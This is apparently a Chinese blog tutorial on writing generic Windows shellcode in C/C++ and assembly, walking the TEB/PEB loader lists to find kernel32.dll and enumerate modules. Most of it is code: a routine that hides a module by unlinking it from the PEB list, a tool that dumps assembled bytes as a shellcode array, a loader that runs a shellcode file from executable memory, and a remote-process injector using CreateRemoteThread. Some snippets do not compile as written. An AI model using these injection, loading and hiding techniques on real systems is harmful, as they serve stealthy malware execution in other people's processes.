C/C++ 通用ShellCode的编写与调用
首先,我们的ShellCode代码需要自定位,因为我们的代码并不是一个完整的EXE可执行程序,他没有导入表无法定位到当前系统中每个函数的虚拟地址,所以我们直接获取到Kernel32.dll的基地址,里面的GetProcAddr这个函数,获取的方式有很多,第一种是暴力搜索,第二种通过遍历进程的TEB结构来实现,我们使用第二种方式尝试,一旦获取到该函数,就可以动态的调用任何想要的函数了。
获取DLL模块基地址
首先打开WinDbg加载符号链接文件,输入 srv*https://www.lyshark.cn/symbols

1.首先FS寄存器里面存储的是TEB结构,TEB是线程环境快,里面的PET。

TEB的偏移位置30h处,存放的是PEB线程环境快。

接着解析一下 dt _peb 0026b000 里面的0C字段是LDR,一个指向_PEB_LDR_DATA的结构数组。

PEB_LDR_DATA 结构体偏移位置为 0x1c 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList,该指针指向了一个双向链表。

模块初始化链表 InInitializationOrderModuleList 中按顺序存放着PE装入运行时初始化模块的信息,第一个链表节点是 ntdll.dll,第二个链表结点就是kernel32.dll可以先看看 InInitializationOrderModuleList 中的内容。

上图中的 004e3278 保存的是第一个链表节点的指针,通过dd 004e3278解析这个结点,可发现如下地址0x773a0000就是ntdll.dll的基地址,而 004e3b20 则是下一个模块的指针

继续跟随 004e3b20 跟进后的76a90000就是kernel32.dll的基地址,而下一个地址的指针则是004e3760以此类推来遍历。

最后我们通过!peb命令来验证一下,如下会发现第一个对上了,这里的kerlel32.dll其实是kernelbase.dll 这个dll是转向dll中转到kernel32.dll中,64位系统特有的。

通过上方的调试我们可得到公式,接着通过编写一段汇编代码来实现自动的遍历出 kernel32.dl 的基址。
include windows.inc
include kernel32.inc
includelib kerbcli.lib
assume fs:nothing
.code
main PROC
xor eax,eax
xor edx,edx
mov eax,fs:[30h] ; 得到PEB结构地址
mov eax,[eax + 0ch] ; 得到PEB_LDR_DATA结构地址
mov esi,[eax + 1ch] ; 得到 InInitializationOrderModuleList
lodsd ; 得到KERNEL32.DLL所在LDR_MODULE结构的
mov eax,[eax] ; Windows 7 以上要将这里打开
mov edx,[eax + 8h] ; 得到BaseAddress,既Kernel32.dll基址
ret
main ENDP
END main
通过使用C语言也可以实现拿到Kernel32的基地址.
#include <windows.h>
#include <stdio.h>
int main(int argc, char * argv[])
{
DWORD *PEB = NULL;
DWORD *Ldr = NULL;
DWORD *Init = NULL;
DWORD *Kernel32 = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB,eax
}
printf("得到PEB指针 = %x \n", PEB);
Ldr = *(DWORD **)((unsigned char *)PEB + 0x0c);
printf("得到LDR结构指针 = %x \n", Ldr);
Init = *(DWORD **)((unsigned char *)Ldr + 0x1c);
printf("得到InInitializationOrderModuleList结构指针 = %x \n", Init);
Kernel32 = *(DWORD **)((unsigned char *)Init + 0x08);
printf("得到Kernel32的基地址 = %x \n", Kernel32);
system("pause");
return 0;
}
获得镜像基地址: 我们来扩展一个知识点,首先我们这次想要获得镜像基地址,如何解析结构?
首先镜像基地址,在PEB结构中,我们先来获取到其偏移地址。

此时我们知道TEB结构中 指向 PEB,则 0026b000

接着来解析TEB结构,只需要执行 dt _PEB 0026b000 即可得到该地址。

直接汇编实现,也非常简单,如下。

枚举进程模块
1.我们来拓展一个知识点,通过PEB/TEB找到自身进程的所有载入模块数据,首先获取 TEB,也就是线程环境块。在编程的时候,TEB 始终保存在寄存器 FS 中。
先来得到LDR结构:Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );
先找到TEB

然后再找到PEB结构 偏移为 0x30 从该命令的输出可以看出,PEB 结构体的地址位于 TEB 结构体偏移0x30 的位置

找到了PEB也就可以找到_PEB_LDR_DATA结构 其位于 PEB 偏移 0c的位置上。
Ldr = *( ( DWORD ** )( ( unsigned char * )PEB + 0x0c ) );

从输出结果可以看出,LDR 在 PEB 结构体偏移的 0x0C 处,该地址保存的地址是 0x77bf0c40 通过该地址来解析 LDR 结构体。
WinDBG 输出如下内容:
Flink = *( ( DWORD ** )( ( unsigned char * )Ldr + 0x14 ) );
位于LDR偏移14的位置就是InLoadOrderModuleList其所指向的就是模块名称表。


现在来手动遍历第一条链表,输入命令 0x4e3370
链表偏移 0x18 的位置是模块的映射地址 ImageBase;
链表偏移 0x28 的位置是模块的路径及名称的地址;
链表偏移 0x30 的位置是模块名称的地址。

的确是模块的名称,遍历下一条链表的信息,004e3268 保存着下一个链表结构,依次遍历就是了。

我们找到下一个链表位置,然后同样的方法来验证一下。

没错了吧,下一个是 ntdll.dll

这个链表结构其实访问 InMemoryOrderModuleList 也可以得到,这两个都指向同一片区域 例如第二个 0x4e3378

解析一下看看 0x4e3378 一致。

第二个是ntdll.dll

上面介绍的结构,是微软保留结构,只能从网上找到一个结构定义,然后自行看着解析就好了。
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID EntryPoint;
PVOID Reserved3;
UNICODE_STRING FullDllName;
BYTE Reserved4[8];
PVOID Reserved5[3];
union {
ULONG CheckSum;
PVOID Reserved6;
};
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));

枚举模块的方法就是:得到TEB -> PEB ->LDR ->遍历。
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
DWORD *PEB = NULL, *Ldr = NULL, *Flink = NULL, *p = NULL;
DWORD *BaseAddress = NULL, *FullDllName = NULL,*Ba = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB, eax
}
Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
Flink = *((DWORD **)((unsigned char *)Ldr + 0x14));
p = Flink;
p = *((DWORD **)p);
while (Flink != p)
{
BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
FullDllName = *((DWORD **)((unsigned char *)p + 0x20));
if (BaseAddress == 0)
break;
printf("镜像基址 = %08x \n --> 模块路径 = %S \n", BaseAddress, (unsigned char *)FullDllName);
p = *((DWORD **)p);
}
system("pause");
return 0;
}
上方的 0x10 与 0x20 对应的就是地址结构与路径名称。
BaseAddress = *((DWORD **)((unsigned char *)p + 0x10));
FullDllName = *((DWORD **)((unsigned char *)p + 0x20));
将0x10改为 0x24

或改为 0x28

换成0x18 和 0x28 运行看看,获取到的就是文件名称。
BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
FullDllName = *((DWORD **)((unsigned char *)p + 0x28));

对照解析结果,观察,就明白了。

进程模块隐藏
一维指针的骚操作:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD *PEB = (DWORD *)0x401000;
DWORD *LDR;
DWORD *BaseAddr = NULL;
printf("PEB = %x \t &PEB = %x \n", PEB,&PEB);
LDR = (DWORD *)&PEB;
printf("PEB = %x \t LDR = %x PEB Value = %x \n", LDR,&LDR,*LDR);
printf("-------------------------------------------------------------- \n");
printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
printf("(unsigned char *)PEB + 0xc) = %x \n", (unsigned char *)PEB + 0xc);
printf("取出内存中的值: %x \n", (DWORD **)((unsigned char *)PEB + 0xc));
printf("取出其地址中的值:%x \n", *(DWORD **)((unsigned char *)PEB + 0xc));
printf("-------------------------------------------------------------- \n");
DWORD Hmodule = 0x401000;
// 设置指针指向
BaseAddr = (DWORD *)0x401000;
// 设置指针中的数值
*BaseAddr = 0x1000;
if (BaseAddr == (DWORD *)Hmodule)
{
printf("BaseAddr = %x \t BaseAddr = %d \t Hmodule = %x \n", BaseAddr,*BaseAddr,Hmodule);
}
printf("-------------------------------------------------------------- \n");
int Array[] = {1,2,3,4,5,6,7,8,9};
DWORD *Flink;
DWORD *ptr;
Flink = *(DWORD **)((unsigned char *)Array);
ptr = Flink;
printf("%x \n", ptr);
for (int x = 0; x < 9; x++)
{
printf("遍历元素: %d \n", *(DWORD **)((unsigned char *)Array + ( x*4 )));
}
// 反向输出
for (int x = 0; x < 9; x++)
{
Flink = *(DWORD **)((unsigned char *)Array + (x * 4));
Link = *(DWORD **)((unsigned char *)Array + ((9 - x - 1) * 4));
printf("%d --> %d \n", Flink, Link);
}
system("pause");
return 0;
}
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
int Array[] = {1,2,3,4,5,6,7,8,9,10};
DWORD *PEB = (DWORD *)Array;
DWORD *Ldr = *((DWORD **)((DWORD *)Array + 1));
printf("Ldr = > %x Value = %d \n", &Ldr,Ldr);
// 基本的取值
printf("PEB = %x &PEB = %x \n", PEB, &PEB);
Ldr = (DWORD *)&PEB;
printf("LDR = %x &LDR = %x *LDR = %x \n", Ldr, &Ldr, *Ldr);
printf("(unsigned char *)PEB = %x \n", (unsigned char *)PEB);
printf("(unsigned char *)PEB + 4 = %x \n", (unsigned char *)PEB + 4);
printf("取出第一个元素内存地址: %x \n", (DWORD **)((unsigned char *)PEB + 4));
printf("取出其中的值: %d \n", *(DWORD **)((unsigned char *)PEB + 4));
// 取值与替换值
DWORD ref = (DWORD)*((unsigned char *)Array + 4); // 取出第2个值
*((DWORD *)(Array + 1)) = 10; // 替换数组中第二个值
printf("取出的值: %d 替换后: %d \n", ref, *((DWORD *)(Array + 1)));
// 正向遍历元素
for (int x = 0; x < 10; x++)
{
DWORD ref1 = *((DWORD *)((unsigned char *)Array + (x * 4)));
printf("正向元素输出: %d \n", ref1);
}
// 反向输出元素
DWORD *Frist = NULL;
DWORD *Last = NULL;
for (int x = 0; x < 10; x++)
{
Frist = *(DWORD **)((DWORD *)Array + x);
Last = (DWORD *)((DWORD *)Array + (9 - x));
printf("反向输出: %d --> %d \n", Frist, *Last);
}
system("pause");
return 0;
}
二维指针应用:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Array[] = { 1, 2, 3, 4, 5 };
DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
DWORD *PEB;
// 这三种方式均可定位二级数组
PEB = *((DWORD **)((DWORD *)ArrayPtr + 1));
printf("%x %d \n", PEB,*PEB);
PEB = *((DWORD **)((DWORD *)(ArrayPtr + 1)));
printf("%x %d \n", PEB, *PEB);
PEB = *(DWORD **)((unsigned char *)(ArrayPtr) + (1*4));
printf("%x %d \n", PEB, *PEB);
PEB = *(DWORD **)ArrayPtr;
printf("得到ArrayPtr地址: %x --> 得到Array元素地址: %x --> 得到元素值: %x \n", &PEB,PEB,*PEB);
// 二级元素赋值操作
printf("得到第一个指针地址: %x \n", (DWORD)*(DWORD **)ArrayPtr);
printf("得到第二个指针地址: %x --> 数据: %d \n", (*((DWORD **)ArrayPtr) + 1), *(*((DWORD **)ArrayPtr) + 1));
printf("原始数据为: %x \n", *ArrayPtr[1]);
*((DWORD *)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
printf("更改数据为: %x \n", *ArrayPtr[1]);
printf("原始指针数据为: %x \n", *ArrayPtr[1]);
**((DWORD **)(ArrayPtr + 1)) = (DWORD)*(DWORD **)ArrayPtr;
printf("更改指针数据为: %x \n", *ArrayPtr[1]);
for (int x = 0; x < 5; x++)
{
printf("地址: %x --> 数据: %d \n", (*((DWORD **)ArrayPtr) + x), *(*((DWORD **)ArrayPtr) + x));
}
system("pause");
return 0;
}
三层指针遍历:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Array[] = { 1, 2, 3, 4, 5 };
DWORD *ArrayPtr[] = { &Array[0], &Array[1], &Array[2], &Array[3], &Array[4] };
DWORD *ArrayPtrS[] = { ArrayPtr[0], ArrayPtr[1], ArrayPtr[2], ArrayPtr[3], ArrayPtr[4] };
// 输出三级指针中的数据
DWORD *PtrA = (DWORD *)((DWORD **)((DWORD ***)ArrayPtrS));
printf("获取到ArrayPtr[0]地址 = %x \t 获取到Array[0]地址 = %x \n", PtrA,*PtrA);
DWORD *PtrB = (DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)));
printf("获取到ArrayPtr[1]地址 = %x \t 获取到Array[1]地址 = %x \n", PtrB, *PtrB);
DWORD PtrC = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("获取到里面的数值: %d \n", *(DWORD *)PtrC);
// 三级指针
// 遍历指针数据
printf("ArrayPtrS => ");
for (int x = 0; x < 5; x++)
printf("0x%x ", &ArrayPtrS[x]);
printf("\n");
printf("ArrayPtr => ");
for (int x = 0; x < 5; x++)
printf("0x%x ", ArrayPtr[x]);
printf("\n");
// 输出特定指针
DWORD **PtrAA = *((DWORD ***)(ArrayPtrS)+1);
printf("ArrayPtr[1] => %x \n", PtrAA);
DWORD *PtrBB = ((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("ArrayPtrS => %x \n", PtrBB);
DWORD Ref = *((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1))));
printf("%x \n", Ref);
DWORD Ref = *(DWORD *) (*((DWORD *)((DWORD **)((DWORD ***)(ArrayPtrS + 1)))));
printf("原始数值 ArrayPtrS[1] = %x \n", Ref);
system("pause");
return 0;
}
模块隐藏方法:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
DWORD *PEB = NULL,*Ldr = NULL,*Flink = NULL,*p = NULL,
*BaseAddress = NULL,*FullDllName = NULL;
__asm
{
mov eax, fs:[0x30]
mov PEB, eax
}
HMODULE hMod = GetModuleHandle("kernel32.dll");
Ldr = *((DWORD **)((unsigned char *)PEB + 0x0c));
Flink = *((DWORD **)((unsigned char *)Ldr + 0x0c));
p = Flink;
do
{
BaseAddress = *((DWORD **)((unsigned char *)p + 0x18));
FullDllName = *((DWORD **)((unsigned char *)p + 0x28));
if (BaseAddress == (DWORD *)hMod)
{
**((DWORD **)(p + 1)) = (DWORD)*((DWORD **)p);
*(*((DWORD **)p) + 1) = (DWORD)*((DWORD **)(p + 1));
break;
}
p = *((DWORD **)p);
} while (Flink != p);
return 0;
}
循环枚举Kernel32.dll 中模块地址
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
int a;
__asm
{
mov ebx, dword ptr fs : [0x30]
mov ecx, dword ptr[ebx + 0xc]
mov ecx, dword ptr[ecx + 0x1c]
mov ecx, [ecx]
mov edx, [ecx + 0x8]; kernelbase.dll
mov eax, [edx+0x3c]
mov ecx, [edx + eax + 0x78]
add ecx,edx
mov ebx, [ecx+0x20]
add ebx,edx
xor edi,edi
s1:
inc edi
mov esi, [ebx+edi*4]
add esi,edx
cmp esi,edx
je no
loop s1
no:
xor eax,eax
}
system("pause");
return 0;
}
生成shellcode并自动提取:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
DWORD Start, End, Len;
goto GetShellCode;
__asm
{
ShellCodeStart:
mov ebx, dword ptr fs : [0x30]
mov ecx, dword ptr[ebx + 0xc]
mov ecx, dword ptr[ecx + 0x1c]
mov ecx, [ecx]
mov edx, [ecx + 0x8]; kernelbase.dll
mov eax, [edx + 0x3c]
mov ecx, [edx + eax + 0x78]
add ecx, edx
mov ebx, [ecx + 0x20]
add ebx, edx
xor edi, edi
s1 :
inc edi
mov esi, [ebx + edi * 4]
add esi, edx
cmp esi, edx
je no
loop s1
no :
xor eax, eax
ShellCodeEnd:
}
GetShellCode:
__asm
{
mov Start, offset ShellCodeStart
mov End, offset ShellCodeEnd
}
Len = End - Start;
unsigned char *newBuffer = new unsigned char[Len + 1024];
memset(newBuffer, 0, Len + 1024);
memcpy(newBuffer, (unsigned char *)Start, Len);
FILE *fp = fopen("c://shellcode.txt", "wb+");
//fwrite(newBuffer, Len, 1, fp);
//_fcloseall();
fwrite("unsigned char Buffer[] = {", 22, 1, fp);
for (int x = 0; x < Len; x++)
{
if (x % 16 == 0)
fwrite("\r\n", 2, 1, fp);
fprintf(fp, "0x%02x,", newBuffer[x]);
}
fwrite("\n};", 2, 1, fp);
_fcloseall();
system("pause");
return 0;
}
运行后自动生成shellcode.txt文本。

通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可.
#include <stdio.h>
#include <Windows.h>
int main(int argc, char * argv[])
{
HANDLE fp;
unsigned char * fBuffer;
DWORD fSize, dwSize;
fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
fSize = GetFileSize(fp, 0);
fBuffer = (unsigned char *)VirtualAlloc(NULL, fSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(fp, fBuffer, fSize, &dwSize, 0);
CloseHandle(fp);
__asm
{
mov eax,fBuffer
push eax
ret
int 3
}
return 0;
}
ShellCode注入进程:
#include <stdio.h>
#include <windows.h>
unsigned char ShellCode[] = "shellcode代码";
BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer;
Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
}
int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}
C/C++ 通用ShellCode的编写与调用的更多相关文章
- ShellCode的编写入门
上次学习了下堆喷漏洞的原理,虽说之前有学习过缓冲区溢出的原理,但还没了解过堆喷这个概念,于是趁此机会学习了,顺便复习了缓冲区溢出这块知识,之前由于各种原因对Shellcode的编写只是了解个大概,并没 ...
- Linux下shellcode的编写
Linux下shellcode的编写 来源 https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...
- ShellCode的几种调用方法
ShellCode是一种漏洞代码,中文名也叫填充数据,一般是用C语言或者汇编编写.在研究的过程中,自己也学到了一些东西,发现其中也有许多坑,所以贴出来,如果大家有碰到的,可以参考一下. 以启动电脑上的 ...
- DLL编写与调用全解
DLL编写与调用全解 DELPHI学习 2008-12-23 22:52 阅读8 评论0 字号: 大 中 小 第一章 为什么要使用动态链接库(DLL) top 提起DLL您一定不会 ...
- EC笔记,第二部分:5.了解C++默默编写并调用哪些函数
5.了解C++默默编写并调用哪些函数 1.C++空类 C++会为一个空类建立以下函数 (1).默认构造函数 (2).默认拷贝构造函数 (3).析构函数 (4).赋值运算符(如果成员包含引用类型或con ...
- Effective C++ 之 Item 5:了解C++默默编写并调用哪些函数
Effective C++ chapter 2. 构造 / 析构 / 赋值运算 (Constructors, Destructors, and Assignment Operators) Item 5 ...
- delphi 基础之三 编写和调用dll文件
delphi 编写和调用dll文件 Windows 的执行文件可以划分为两种形式程序和动态连接库 (DLLs).一般程序运行是用.EXE文件,但应用程序有时也可以调用存储在DLL的函数. 在如下几 ...
- VB.NET中的DLL编写和调用的最简单示例
DLL(动态链接库)是一个很有用的东西,在开发大项目的时候显得非常重要,因为多人合作开发时,可以给每个人分配一个任务,用DLL完成,最后组合起来,就不会出现互相冲突的问题.这里给出最简单的DLL编写与 ...
- 编写并提取通用 ShellCode
简易 ShellCode 虽然可以正常被执行,但是还存在很多的问题,因为上次所编写的 ShellCode 采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统一 ...
- 通用shellcode
所有 win_32 程序都会加载 ntdll.dll 和 kernel32.dll 这两个最基础的动态链接库.如果想要 在 win_32 平台下定位 kernel32.dll 中的 API 地址,可以 ...
随机推荐
- 将文件从windows格式改为linux格式
1.使用notepad++软件转换 notepad++官方下载地址 使用notepad++打开文件---编辑---文档格式转换---转为unix---上传至linux 2.set ff vim 文件, ...
- HanLP — HMM隐马尔可夫模型 -- 维特比(Viterbi)算法 --示例代码 - Java
Viterbi 维特比算法解决的是篱笆型的图的最短路径问题,图的节点按列组织,每列的节点数量可以不一样,每一列的节点只能和相邻列的节点相连,不能跨列相连,节点之间有着不同的距离,距离的值就不在 题目背 ...
- POJ:3279-Fliptile【状态压缩】【DFS】
POJ-3279 经典[状态压缩][DFS]题型 题目大意:有一个 M * N 的格子,每个格子可以翻转正反面,它们有一面是黑色,另一面是白色.黑色翻转之后变成白色,白色翻转之后则变成黑色. 游戏要做 ...
- JSONObject--- JSON---与bean对象的转换
1.对象PO转json-string: String json = JSON.toJSONString(customerBueventAccountPO); 1.可能用到的jar宝: json-li ...
- 08.25北京站|阿里云Serverless 技术实践营( AI 专场)开放报名
活动简介 阿里云 Serverless 技术实践营(AI 专场)是一场以聚焦企业级 AIGC 应用开发与落地展开的主题活动,活动受众以关注 Serverless 和 AI 技术的开发者.企业决策人.云 ...
- Serverless Devs 重大更新,基于 Serverless 架构的 CI/CD 框架:Serverless-cd
近日,Serverless 开发者平台 Serverless Devs 重磅发布基于 Serverless 架构的轻量级 CI/CD 框架--Serverless-cd.Serverless-cd 是 ...
- <vue初体验> 基础知识 3、vue的计数器
系列导航 <vue初体验> 一. vue的引入和使用体验 <vue初体验> 二. vue的列表展示 <vue初体验> 三. vue的计数器 <vue初体验&g ...
- Spring的@Async使用防坑
很多人会直接只用@Async来执行异步操作.但是这里面有一个问题,如果都是用spring的默认实现,是有坑的. 当我们开启 EnableAsync 只有就使用Async来执行异步操作了. 走JDK的动 ...
- 去重N皇后
题目:将上下对称.左右对称棋局.主副对角线对称棋局和旋转后重复视为重复,则要求输出去重后的N皇后问题的棋盘布局 这道题是一道作业题,我都惊到了,一向弱智的作业题中竟然冒出一道这样的题,这题最起码橙黄之 ...
- C#设计模式18——迭代器模式的写法
是什么: 迭代器模式是一种行为型设计模式,它允许客户端通过一种统一的方式遍历集合对象中的元素,而无需暴露集合对象的内部结构. 为什么: 使用迭代器模式可以使得客户端程序与集合对象解耦,从而可以更加灵活 ...